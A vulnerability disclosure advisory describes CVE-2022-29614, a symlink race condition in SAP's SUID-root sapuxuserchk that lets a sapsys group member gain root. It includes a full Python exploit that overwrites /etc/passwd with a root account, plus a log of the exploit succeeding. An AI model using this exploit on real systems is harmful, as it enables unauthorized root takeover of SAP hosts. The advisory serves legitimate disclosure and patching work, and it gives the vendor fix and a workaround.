SEC Consult Vulnerability Lab Security Advisory < 20220915-0 >

           title: Local privilege escalation  
         product: SAP® SAPControl Web Service Interface (sapuxuserchk)  

vulnerable version: see section “Vulnerable / tested versions”
fixed version: see SAP security note 3158619
CVE number: CVE-2022-29614
impact: medium
homepage: https://www.sap.com/about.html
found: 2022-02-24
by: M. Li (Office Munich)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Atos company  
                  Europe | Asia | North America

                  https://www.sec-consult.com

=======================================================================

Vendor description:

"The SAP Start Service (sapstartsrv) provides basic management services for
systems and instances and single server processes. Services include starting
and stopping, monitoring the current run-time state, reading logs, traces and
configuration files, executing commands and retrieving other
technology-specific information, like network access points, active sessions,
thread list etc. They are exposed by a SOAP Web service interface named
“SAPControl". This paper describes how to use this Web service interface.”

Source: https://assets.cdn.sap.com/sapcom/docs/2016/09/0a40e60d-8b7c-0010-82c7-eda71af511fa.pdf

Business recommendation:

SEC Consult recommends to implement the security note 3158619, where the
documented issue is fixed according to the vendor. We advise installing the
corrections as a matter of priority to keep business-critical data secured.

Vulnerability overview/description:

1. Local privilege escalation (CVE-2022-29614)
   The SUID-root program sapuxuserchk erroneously follows the symbolic link to
   create a temporary local logon ticket and change the ownership of the target
   file for owner access only. As member of the group sapsys, a user can therefore
   escalate his/her privileges to root on a local Unix system by successfully
   exploiting a race condition.

Proof of concept:

1. Local privilege escalation (CVE-2022-29614)
   The utility sapuxuserchk is used by sapcontrol to request a temporary local
   logon ticket in the following way. As a result, the ticket is created in the
   folder /usr/sap/SEC/D00/work/sapcontrol_logon/

$ sapcontrol -nr 0 -function RequestLogonFile user0

$ ls -l logon*
-rw------- 1 secadm sapsys 40 Feb 25 08:58 logon0
-rw------- 1 user0 users 40 Feb 25 09:00 logon1
-rw------- 1 root root 40 Feb 25 09:01 logon2

Since sapcontrol is supposed to create the ticket for any system user, it
requires a utility with SUID bit set. The owner, group and its permission bits
of sapuxuserchk of a standard installation are shown below.

$ ls -l sapuxuserchk
-rwsr-x— 1 root sapsys 1312137 Feb 28 2019 sapuxuserchk

The request originating from sapcontrol is first sent to the instance server
sapstartsrv, piping into sapuxuserchk a 512-byte encrypted message, which
contains the ticket path, user name and ticket in the plaintext, as an example
shown below.

$ strings input-0-plaintext
SAPLOGONFILE /usr/sap/SEC/D00/work/sapcontrol_logon/logon1
user0
1133146902252676394602837452470900726967

On its duty to create the ticket, sapuxuserchk performs the sanity check to
guarantee the non-existence of the file prior to the creation in the
function internal_create_saplogon_file.

However, it introduces a race condition between the stat and open calls, as
shown by the following excerpt from strace.

stat("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", 0x7ffc0d2e1530) = -1 ENOENT (No such file or directory)
open("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", O_RDWR|O_CREAT|O_TRUNC, 0600) = 3
fchown(3, 1000, 100)

The attacker can run a race of constantly creating a symbolic link logon1
pointing to a privileged file such as /etc/passwd and meanwhile invoke the
SUID-root program sapuxuserchk, in the hope that the creation of the link
take place between the stat and open calls, so that the first will fail,
(meaning that the file does not exist yet) while the second as well as the
ensuing fchown call succeeds. In a positive result, the attacker gains the
read-write permission of the target file.

The following run to winning the race took 629 attempts to finally gain the
root privilege. The PoC further below lists the exploit implementing the idea
above with a pre-intercepted message for user secadm.

---

sh-4.3$ id
uid=1001(secadm) gid=474(sapsys) groups=474(sapsys),1000(sapinst)

sh-4.3$ ls -l /etc/passwd
-rw-r–r-- 1 root root 2517 Feb 25 00:47 /etc/passwd

sh-4.3$ python3 sapmatt.py
this many tries: 629
[+] now login as sapmatt

sh-4.3$ su sapmatt
Password:

sh-4.3# id
uid=0(sapmatt) gid=0(root) groups=0(root)

sh-4.3# ls -l /etc/passwd
-rw-r–r-- 1 secadm sapsys 73 Feb 25 10:03 /etc/passwd

$ cat sapmatt.py
import sys, os, signal, base64, random, string

secadm_msg =
b’O9OXlWwex4ddSI5vhXFfUQvZ8Td3NWzRNIb9QN6bHY764Z0zVNuVjFHRGhHEgYgwNQDnf0/bBwzlEXCSXFkhtiDqDohuyCxG4mtRqc86FlB6DTOjBY9o/6Cb3rRSZ58jggx71JXMRk21jW3gqdem+tmqHCnIumZjodk2cuk5/MY76dsD65s3j1XrQS0RT3gPaspl/6Yb842hbVTZXVRY3cHKzNq5tZMKB2LmyyslO4xCI00eBN6k6yEKNFLvMx8lYbAIaHcfdWu3pMWVIb9rT3BoTCHwi5hBz8dHk6usdEw05q/Xuxe28gxWCUZpN09sYsd/5R8HqqLfwyiNI7CTBCA3f+fHUweJPuteD5O8bwo/mEOShHimO1gPZzhBdow2C0JszYQeQpxgRtENXPUt2qgT7TJqmItxM0puB8ry0TnKJIbk5gj0smflBPBZyTDXl+qNUmgWL1dK/SBpTUErGMVXFVBi8bNDMSUhcJa+0IQlYSBHPln17kquqhGvlRYYZVJttDNoYcvBchc4HxHZmH5pHkD4fhbcQgFT0UFgceSH1j3sE6G/M/QM1X/vTVE4534XJ3mDcFk/brOYun1dawJ30BkJ9HbP5weihwRwspOq52qRZ9CXsnJCtFPNqNWNIe8BgQUW8WV7FkiDJ+Lpp0pq8KLlZ0Yomz46YfCHkag=’

openssl passwd sappass

u1_passwd = “sapmatt:wPi023oIkjHdA:0:0::/root:/bin/sh\nsecadm:x:1001:474::/tmp:/bin/sh\n”
logon_symlink = “/usr/sap/SEC/D00/work/sapcontrol_logon/logon1”
target_file = “/etc/passwd”

g = 1024
if not os.path.isfile(logon_symlink):
os.system("touch " + logon_symlink)
secadm_msg = base64.b64decode(secadm_msg)

msg_file = ‘/tmp/msg’ + '’.join(random.choice(string.ascii_letters) for i in range(8))
f0 = open(msg_file, “wb”)
f0.write(secadm_msg)
f0.close()

pid = os.fork()
if pid == 0:
j = 0
while True:
if j > g:
print(‘done’)
os._exit(os.EX_OK)
j += 1
os.system("/usr/sap/SEC/D00/exe/sapuxuserchk < {0} > /dev/null".format(msg_file))
else:
i = 0
uid = os.getuid()
success = False
while not success:
if i > g:
print("[-] give up, link too many tries: " + str(i))
break
i += 1
try:
os.unlink(logon_symlink)
os.symlink(target_file, logon_symlink)
statinfo = os.stat(target_file)
if statinfo.st_uid == uid:
os.kill(pid, signal.SIGILL)
print("this many tries: " + str(i))
print("[+] now login as sapmatt ")
f = open(target_file, “w”)
f.write(u1_passwd)
f.close()
success = True
except Exception as err:
print('[-] lost the race {0}’.format(err))
os.waitpid(pid, 0)
os.unlink(msg_file)

---

Vulnerable / tested versions:

The following version of the binary was found to be vulnerable during our tests:

• Version: 753, patch 400, changelist 1906766

According to the vendor the following products are affected by the discovered
vulnerability:

SAP NetWeaver AS ABAP, AS Java, ABAP Platform and HANA Database, Versions:

• KERNEL 7.22, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, 7.88
• KRNL64NUC 7.22, 7.22EXT, 7.49
• KRNL64UC 7.22, 7.22EXT, 7.49, 7.53
• SAPHOSTAGENT 7.2

Please refer to the vendor patch day post:
https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10

Vendor contact timeline:

2022-02-25: Contacting vendor through vulnerability submission web form.
2022-03-04: Vendor confirms receipt and assigns SAP security incident number
#2270008914.
2022-04-29: Requesting status update.
2022-05-05: Vendor confirms vulnerability and states it might be addressed
in May 2022 patch day.
2022-06-14: Vendor releases patches with SAP security note 3158619.
2022-06-15: Requesting the confirmation of the security note on the issue.
2022-08-11: Vendor sends the link to the Acknowledgements to Security
Researchers.
2022-09-02: Requesting the confirmation of the fix.
2022-09-03: Vendor confirms the issue has been fixed on June Patch Day.
2022-09-15: Public release of security advisory.

Solution:

The following security note needs to be implemented:
https://launchpad.support.sap.com/#/notes/3158619

Workaround:

You can remove the SUID-bit from sapuxuserchk as temporary mitigation.

chmod 0755 sapuxuserchk

Advisory URL:

https://sec-consult.com/vulnerability-lab/

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF M. Li / @2022